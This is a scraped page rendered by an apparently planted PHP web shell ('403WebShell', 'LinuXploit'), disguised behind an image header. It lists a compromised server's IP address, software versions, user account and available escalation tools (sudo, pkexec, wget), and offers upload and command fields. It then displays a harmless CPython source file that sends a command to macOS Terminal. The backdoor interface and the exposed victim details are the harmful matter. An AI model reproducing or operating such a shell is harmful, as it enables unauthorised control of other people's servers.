????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.116
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/Python-3.6.3/Mac/PythonLauncher/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/Python-3.6.3/Mac/PythonLauncher/doscript.m
/*
 *  doscript.c
 *  PythonLauncher
 *
 *  Created by Jack Jansen on Wed Jul 31 2002.
 *  Copyright (c) 2002 __MyCompanyName__. All rights reserved.
 *
 */

#import <Cocoa/Cocoa.h>
#import <ApplicationServices/ApplicationServices.h>
#import "doscript.h"

extern int
doscript(const char *command)
{
    char *bundleID = "com.apple.Terminal";
    AppleEvent evt, res;
    AEDesc desc;
    OSStatus err;

    [[NSWorkspace sharedWorkspace] launchApplication:@"/Applications/Utilities/Terminal.app/"];

    // Build event
    err = AEBuildAppleEvent(kAECoreSuite, kAEDoScript,
                             typeApplicationBundleID,
                             bundleID, strlen(bundleID),
                             kAutoGenerateReturnID,
                             kAnyTransactionID,
                             &evt, NULL,
                             "'----':utf8(@)", strlen(command),
                             command);
    if (err) {
        NSLog(@"AEBuildAppleEvent failed: %ld\n", (long)err);
        return err;
    }

    // Send event and check for any Apple Event Manager errors
    err = AESendMessage(&evt, &res, kAEWaitReply, kAEDefaultTimeout);
    AEDisposeDesc(&evt);
    if (err) {
        NSLog(@"AESendMessage failed: %ld\n", (long)err);
        return err;
    }
    // Check for any application errors
    err = AEGetParamDesc(&res, keyErrorNumber, typeSInt32, &desc);
    AEDisposeDesc(&res);
    if (!err) {
        AEGetDescData(&desc, &err, sizeof(err));
        NSLog(@"Terminal returned an error: %ld", (long)err);
        AEDisposeDesc(&desc);
    } else if (err == errAEDescNotFound) {
        err = noErr;
    } else {
        NSLog(@"AEGetPArmDesc returned an error: %ld", (long)err);
    }

    return err;
}

Youez - 2016 - github.com/yon3zu
LinuXploit